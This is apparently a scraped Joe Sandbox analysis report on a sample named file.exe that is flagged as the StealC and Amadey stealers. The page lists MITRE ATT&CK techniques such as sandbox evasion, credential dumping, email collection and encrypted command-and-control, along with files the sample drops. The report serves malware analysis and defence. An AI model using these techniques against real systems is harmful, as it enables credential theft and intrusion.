Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFHIIDHJEBFBFIDAKFBAFCBFI

C:\ProgramData\BAKEBAFIIECBGCAAAAFC

C:\ProgramData\CFIEHCFI

C:\ProgramData\FBAAAKFCAFIIDHIDGHIE

C:\ProgramData\FHCGCFHDHIIIDGCAAEGD

C:\ProgramData\IJKKKFCF

C:\ProgramData\IJKKKFCFHCFIECBGDHIDHIEGII

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre